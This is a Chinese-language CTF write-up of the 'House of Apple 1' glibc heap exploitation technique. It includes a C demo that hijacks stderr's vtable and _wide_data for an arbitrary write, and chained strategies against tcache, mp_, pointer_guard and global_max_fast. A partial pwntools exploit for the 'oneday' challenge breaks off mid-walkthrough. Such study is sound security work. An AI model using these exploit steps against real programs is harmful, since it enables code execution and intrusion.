House_of_apple1

简述

利用_IO_wstrn_overflow这个函数,通过伪造file的结构,这个函数可以覆盖传入fp->_wide_data上的地址覆盖为可以知道的堆地址,攻击效果和进行一次largebin attack一样,实现任意地址写已知地址。

利用条件

使用house of apple的条件为:
1、程序从main函数返回或能调用exit函数
2、能泄露出heap地址和libc地址
3、 能使用一次largebin attack(一次即可)

利用原理

原理解释均基于amd64程序。

当程序从main函数返回或者执行exit函数的时候,均会调用fcloseall函数,该调用链为:

  • exit
    • fcloseall
      • _IO_cleanup
        • _IO_flush_all_lockp
          • _IO_OVERFLOW

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow函数指针指向的函数。

使用largebin attack可以劫持_IO_list_all变量,将其替换为伪造的IO_FILE结构体,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE的一个成员_wide_data的利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _IO_FILE_complete
{
struct _IO_FILE _file;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; // 劫持这个变量
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

amd64程序下,struct _IO_wide_data *_wide_data_IO_FILE中的偏移为0xa0

我们在伪造_IO_FILE结构体的时候,伪造_wide_data变量,然后通过某些函数,比如_IO_wstrn_overflow就可以将已知地址空间上的某些值修改为一个已知值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);

fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;

/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}

分析一下这个函数,首先将fp强转为_IO_wstrnfile *指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end赋值为snf->overflow_buf或者与该地址一定范围内偏移的值;最后对fp->_wide_data_IO_write_ptr_IO_write_end赋值。

也就是说,只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址

这里有时候需要绕过_IO_wsetb函数里面的free

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

_IO_wstrnfile涉及到的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;


typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;

其中,overflow_buf相对于_IO_FILE结构体的偏移为0xf0,在vtable后面。

struct _IO_wide_data结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

换而言之,假如此时在堆上伪造一个_IO_FILE结构体并已知其地址为A,将A + 0xd8(vtable)替换为_IO_wstrn_jumps地址,A + 0xc0(_mode)设置为0,A+0xa0(_wide_data)设置为B,并设置其他成员以便能调用到_IO_OVERFLOWexit函数则会一路调用到_IO_wstrn_overflow函数,并将BB + 0x38的地址区域的内容都替换为A + 0xf0或者A + 0x1f0并将BB + 0x40的地址区域的内容都替换为A + 0xf0或者A + 0x1f0

设置其他成员即:

1
2
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8

IO_file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x0   _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable

简单写一个demo程序进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");

size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x19a878;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x19a8c4;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x19a8f0;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x19a928;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x195f70;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;

puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;

puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;

puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
[*] allocate a 0x100 chunk
===========================old value=======================
[0x5555555592a0]: 0x1122334455667788 0x1122334455667788
[0x5555555592b0]: 0x1122334455667788 0x1122334455667788
[0x5555555592c0]: 0x1122334455667788 0x1122334455667788
[0x5555555592d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7ffff7c80e50
[*] stderr->_IO_write_ptr address: 0x7ffff7e1b6c8
[*] stderr->_flags2 address: 0x7ffff7e1b714
[*] stderr->_wide_data address: 0x7ffff7e1b740
[*] stderr->vtable address: 0x7ffff7e1b778

pwndbg> p &_IO_2_1_stderr_
$1 = (struct _IO_FILE_plus *) 0x7ffff7e1b6a0 <_IO_2_1_stderr_>
pwndbg> fp 0x7ffff7e1b6a0
$2 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7ffff7e1b724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7e1a8a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7e17600 <_IO_file_jumps>
}

pwndbg> tele 0x7ffff7c80e50 1
00:0000│ 0x7ffff7c80e50 (puts) ◂— endbr64
pwndbg> tele 0x7ffff7e1b6c8 1
00:0000│ 0x7ffff7e1b6c8 (_IO_2_1_stderr_+40) —▸ 0x7ffff7e1b723 (_IO_2_1_stderr_+131) ◂— 0xe1ca600000000000
pwndbg> x/1wx 0x7ffff7e1b714
0x7ffff7e1b714 <_IO_2_1_stderr_+116>: 0x00000000
pwndbg> tele 0x7ffff7e1b740 1
00:0000│ 0x7ffff7e1b740 (_IO_2_1_stderr_+160) —▸ 0x7ffff7e1a8a0 (_IO_wide_data_2) ◂— 0x0
pwndbg> tele 0x7ffff7e1b778 1
00:0000│ 0x7ffff7e1b778 (_IO_2_1_stderr_+216) —▸ 0x7ffff7e17600 (_IO_file_jumps) ◂— 0x0

先将偏移换成自己libc的偏移,然后跟着调试,gcc -g可以附加c文件调试信息,直观一点

1
2
3
4
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps

执行完上面的几步之后,stderr已经变成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> fp 0x7ffff7e1b6a0
$9 = {
file = {
_flags = -72540025,
_IO_read_ptr = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
_IO_write_end = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7ffff7e1b723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7ffff7e1b724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7e1b780 <_IO_2_1_stdout_>,
_fileno = 2,
_flags2 = 8,
_old_offset = -4294967296,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ffff7e1ca60 <_IO_stdfile_2_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x5555555592a0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7e16dc0 <_IO_wstrn_jumps>
}

如果用fsop指令看的话可以看出已经完成了fsop的设置,将会劫持程序流到_IO_wstrn_overflow

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> fsop
---------- fp : 0x7ffff7e1b6a0 ----------
Result : True
Func : 0x7ffff7c82f00
---------- fp : 0x7ffff7e1b780 ----------
_IO_write_ptr(0x7ffff7e1b803) < _IO_write_base(0x7ffff7e1b803)
Result : False
---------- fp : 0x7ffff7e1aaa0 ----------
_IO_write_ptr(0x7ffff7e1ab23) < _IO_write_base(0x7ffff7e1ab23)
Result : False
pwndbg> tele 0x7ffff7c82f00 1
00:0000│ 0x7ffff7c82f00 (_IO_wstrn_overflow) ◂— endbr64

执行完fcloseall()以后,chunk1的值已经被修改为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x100 (with flag bits: 0x101)

Top chunk
Addr: 0x555555559390
Size: 0x1122334455667788 (with flag bits: 0x1122334455667788)

pwndbg> x/64gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000101
0x5555555592a0: 0x00007ffff7e1b790 0x00007ffff7e1b890
0x5555555592b0: 0x00007ffff7e1b790 0x00007ffff7e1b790
0x5555555592c0: 0x00007ffff7e1b790 0x00007ffff7e1b790
0x5555555592d0: 0x00007ffff7e1b790 0x00007ffff7e1b890
0x5555555592e0: 0x1122334455667788 0x1122334455667788
0x5555555592f0: 0x1122334455667788 0x1122334455667788
0x555555559300: 0x1122334455667788 0x1122334455667788
0x555555559310: 0x1122334455667788 0x1122334455667788
0x555555559320: 0x1122334455667788 0x1122334455667788
0x555555559330: 0x1122334455667788 0x1122334455667788
0x555555559340: 0x1122334455667788 0x1122334455667788
0x555555559350: 0x1122334455667788 0x1122334455667788
0x555555559360: 0x1122334455667788 0x1122334455667788
0x555555559370: 0x1122334455667788 0x1122334455667788
0x555555559380: 0x1122334455667788 0x1122334455667788
0x555555559390: 0x1122334455667788 0x1122334455667788

可以看到,该fsop已经成功修改了sdterr->_wide_data所指向的地址空间的内存。

利用思路

从上面的分析可以,在只给了1largebin attack的前提下,能利用_IO_wstrn_overflow函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE结构体,并将这些结构体通过chain字段串联起来就能进行组合利用。基于此,我总结了house of apple下至少四种利用思路。

思路一:修改tcache线程变量

该思路需要借助house of pig的思想,利用_IO_str_overflow中的malloc进行任意地址分配,memcpy进行任意地址覆盖。其代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int _IO_str_overflow (FILE *fp, int c)
{
// ......
char *new_buf;
char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); // 这里任意地址分配
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
free (old_buf);
// .......
}

利用步骤如下:

  • 伪造至少两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tcache全局变量为已知值,也就控制了tcache bin的分配
  • 第二个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_str_overflow中的malloc函数任意地址分配,并使用memcpy使得能够任意地址写任意值
  • 利用两次任意地址写任意值修改pointer_guardIO_accept_foreign_vtables的值绕过_IO_vtable_check函数的检测(或者利用一次任意地址写任意值修改libc.got里面的函数地址,很多IO流函数调用strlen/strcpy/memcpy/memset等都会调到libc.got里面的函数)
  • 利用一个_IO_FILE,随意伪造vtable劫持程序控制流即可

因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps映射的地址空间可写的话直接修改其函数指针即可。

思路二:修改mp_结构体

该思路与上述思路差不多,不过对tcachebin分配的劫持是通过修改mp_.tcache_bins这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls结构体的地址本地和远程并不一定是一样的,有时需要爆破。

利用步骤如下:

  • 伪造至少两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改mp_.tcache_bins为很大的值,使得很大的chunk也通过tcachebin去管理
  • 接下来的过程与上面的思路是一样的

思路三:修改pointer_guard线程变量之house of emma

该思路其实就是house of apple + house of emma

利用步骤如下:

  • 伪造两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tls结构体pointer_guard的值为已知值
  • 第二个_IO_FILE结构体用来做house of emma利用即可控制程序执行流

思路四:修改global_max_fast全局变量

这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk,去覆盖掉point_guard或者tcache变量。我称之为house of apple + house of corrision

利用过程与前面也基本是大同小异,就不在此详述了。

其实也有其他的思路,比如还可以劫持main_arena,不过这个结构体利用起来会更复杂,所需要的空间将更大。而在上述思路的利用过程中,可以选择错位构造_IO_FILE结构体,只需要保证关键字段满足要求即可,这样可以更加节省空间。

例题分析

这里以某次市赛的题为例,题目为pwn_oneday,附件下载链接在这里

这个题目禁止了execve系统调用,能分配的chunk的大小基本是固定的,并且只允许1次读和1次写,最多只能分配0x10次,使用的glibc版本为2.34

题目分析

题目给的是20.04

1
2
strings libc.so.6| grep ubuntu
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
1
2
3
4
5
6
7
8
checksec oneday
[*] '/mnt/hgfs/Desktop-2/oneday'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/mnt/hgfs/Desktop-2'

initial

首先是初始化,开启了沙盒:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int prctl_execve()
{
__int16 v1; // [rsp+10h] [rbp-60h] BYREF
__int128 *v2; // [rsp+18h] [rbp-58h]
__int128 v3[4]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]

v4 = __readfsqword(0x28u);
v3[3] = xmmword_1510;
v3[2] = xmmword_1500;
v3[1] = xmmword_14F0;
v3[0] = xmmword_14E0;
v1 = 8;
v2 = v3;
prctl(38, 1LL, 0LL, 0LL, 0LL);
return prctl(22, 2LL, &v1);
}
1
2
3
4
5
6
7
8
9
10
11
seccomp-tools dump ./oneday
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

main

main函数必须选一个key,大小在6-10。结合add函数来看,也就是说,分配的chunk都会属于largebin范围。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
(init111)(a1, a2, a3);
auto_write("enter your key >>\n");
key = get_int();
if ( key > 5uLL && key <= 10uLL )
{
key *= 0x110LL;
while ( 2 )
{
auto_write("1. add\n2. delete\n3. read\n4. write\n");
auto_write("enter your command: \n");
switch ( get_int() )
{
case 1u:
add();
continue;
case 2u:
delete();
continue;
case 3u:
if ( read_3_flag == 1 )
read_3();
continue;
case 4u:
if ( write_3_flag == 1 )
write_3();
continue;
default:
return 0LL;
}
}
}
return 0LL;
}

add

1分配0xab1
2分配0xac1
3分配0x1551

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
unsigned __int64 add()
{
unsigned int v0; // eax
unsigned int i; // [rsp+14h] [rbp-Ch]

for ( i = 0; i < 0x10 && heap_array[i]; ++i )
;
if ( i >= 0x10 )
exit(1);
auto_write("choise: ");
v0 = get_int();
unk_202030 = v0;
if ( v0 && unk_202030 <= 3uLL )
{
switch ( unk_202030 )
{
case 1LL:
calloc_key(i);
break;
case 2LL:
calloc_key_p10(i); // calloc(key + 0x10)
break;
case 3LL:
calloc_2key(i); // calloc(2 * key)
break;
}
}
return __readfsqword(0x28u);
}

unsigned __int64 __fastcall calloc_key(int a1)
{
void *v2; // [rsp+8h] [rbp-18h]

v2 = calloc(1uLL, key);
if ( !v2 )
{
auto_write("Error ):\n");
exit(1);
}
heap_array[a1] = v2;
return __readfsqword(0x28u);
}

delete

存在uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]

auto_write("Index: \n");
v1 = get_int();
if ( v1 < 0x10 && heap_array[v1] )
{
free(heap_array[v1]);
auto_write("safe remove\n");
}
return __readfsqword(0x28u);
}

edit

只给一次机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 read_3()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]

auto_write("Index: ");
v1 = get_int();
if ( v1 < 0x10 && heap_array[v1] )
{
auto_write("Message: \n");
edit_chunk(heap_array[v1], key);
read_3_flag = 0; // 一次机会edit
}
else
{
auto_write("Error Index ):\n");
}
return __readfsqword(0x28u);
}

show

一次机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 write_3()
{
unsigned int v1; // [rsp+14h] [rbp-Ch]

auto_write("Index: ");
v1 = get_int();
if ( v1 < 0x10 && heap_array[v1] )
{
auto_write("Message: \n");
write(1, heap_array[v1], 0x10uLL);
}
write_3_flag = 0; // 一次机会show
return __readfsqword(0x28u);
}

需要使用一次读泄露出libc地址和heap地址,然后用一次写做一次largebin attack

payload分析:

1.预留指向对应位置的指针

由于都是unsortedbin,删除之后会进行合并,导致和没有分配chunk之前一样

1
2
3
4
5
6
7
8
sla(b'enter your key >>\n', str(10).encode())
add(2) # 0
add(2) # 1
add(1) # 2
delete(2)
delete(1)
delete(0)
gdb.attach(io, "tele $rebase(0x202040) 0x20")
1
2
3
4
5
6
7
8
9
10
11
00:0000│  0x563f90202040 (__bss_start+46) —▸ 0x563f907182a0 ◂— 0x0
01:0008│ 0x563f90202048 (__bss_start+54) —▸ 0x563f90718d60 ◂— 0x0
02:0010│ 0x563f90202050 (__bss_start+62) —▸ 0x563f90719820 ◂— 0x0
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x563f90718000
Size: 0x290 (with flag bits: 0x291)

Top chunk | PREV_INUSE
Addr: 0x563f90718290
Size: 0x20d70 (with flag bits: 0x20d71)

2.泄露libc_base和heap_base

1
2
3
4
5
6
7
8
9
10
11
12
13
add(1)  # 3
add(1) # 4
add(1) # 5
add(1) # 6
delete(3)
delete(5)
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
lga("libc_base")
io.recv(2)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x17f0
lga("heap_base")
gdb.attach(io, "tele $rebase(0x202040) 0x20")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00:0000│  0x55959ea02040 (__bss_start+46) —▸ 0x55959fba02a0 —▸ 0x7fde175f2cc0 (main_arena+96) —▸ 0x55959fba2d50 ◂— 0x0
01:0008│ 0x55959ea02048 (__bss_start+54) —▸ 0x55959fba0d60 ◂— 0x0
02:0010│ 0x55959ea02050 (__bss_start+62) —▸ 0x55959fba1820 ◂— 0x0
03:0018│ 0x55959ea02058 (__bss_start+70) —▸ 0x55959fba02a0 —▸ 0x7fde175f2cc0 (main_arena+96) —▸ 0x55959fba2d50 ◂— 0x0
04:0020│ 0x55959ea02060 (__bss_start+78) —▸ 0x55959fba0d50 ◂— 0x0
05:0028│ 0x55959ea02068 (__bss_start+86) —▸ 0x55959fba1800 —▸ 0x55959fba0290 ◂— 0x0
06:0030│ 0x55959ea02070 (__bss_start+94) —▸ 0x55959fba22b0 ◂— 0x0
pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
all: 0x55959fba17f0 —▸ 0x55959fba0290 —▸ 0x7fde175f2cc0 (main_arena+96) ◂— 0x55959fba17f0
pwndbg> x/4gx 0x55959fba0290
0x55959fba0290: 0x0000000000000000 0x0000000000000ab1
0x55959fba02a0: 0x00007fde175f2cc0 0x000055959fba17f0

现在我们show3,就可以将chunk 3的fd->libc_base和bk->heap_base给泄露出来(第一步的意义是啥?)

接着又将堆恢复到初始状态:

1
2
3
delete(4)
delete(6)
gdb.attach(io, "tele $rebase(0x202040) 0x20")

但是此时,heap_array中已经存放了一些指针

1
2
3
4
5
6
7
8
00:0000│  0x55db01202040 (__bss_start+46) —▸ 0x55db025342a0 —▸ 0x7f16ff3f2cc0 (main_arena+96) —▸ 0x55db02534290 ◂— 0x0
01:0008│ 0x55db01202048 (__bss_start+54) —▸ 0x55db02534d60 ◂— 0x0
02:0010│ 0x55db01202050 (__bss_start+62) —▸ 0x55db02535820 ◂— 0x0
03:0018│ 0x55db01202058 (__bss_start+70) —▸ 0x55db025342a0 —▸ 0x7f16ff3f2cc0 (main_arena+96) —▸ 0x55db02534290 ◂— 0x0
04:0020│ 0x55db01202060 (__bss_start+78) —▸ 0x55db02534d50 ◂— 0x0
05:0028│ 0x55db01202068 (__bss_start+86) —▸ 0x55db02535800 —▸ 0x7f16ff3f2cc0 (main_arena+96) —▸ 0x55db02534290 ◂— 0x0
06:0030│ 0x55db01202070 (__bss_start+94) —▸ 0x55db025362b0 ◂— 0x0
07:0038│ 0x55db01202078 (__bss_start+102) ◂— 0x0

接下来我们就要用这些指针进行一次largbin attack?

3.分配largebin

1
2
3
4
5
6
add(3)  # 7
add(1) # 8
add(1) # 9
delete(8)
add(3) # 10
gdb.attach(io, "tele $rebase(0x202040) 0x20")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00:0000│  0x55f0c8c02040 (__bss_start+46) —▸ 0x55f0ca80c2a0 ◂— 0x0
01:0008│ 0x55f0c8c02048 (__bss_start+54) —▸ 0x55f0ca80cd60 ◂— 0x0
02:0010│ 0x55f0c8c02050 (__bss_start+62) —▸ 0x55f0ca80d820 ◂— 0x0
03:0018│ 0x55f0c8c02058 (__bss_start+70) —▸ 0x55f0ca80c2a0 ◂— 0x0
04:0020│ 0x55f0c8c02060 (__bss_start+78) —▸ 0x55f0ca80cd50 ◂— 0x0
05:0028│ 0x55f0c8c02068 (__bss_start+86) —▸ 0x55f0ca80d800 ◂— 0x0
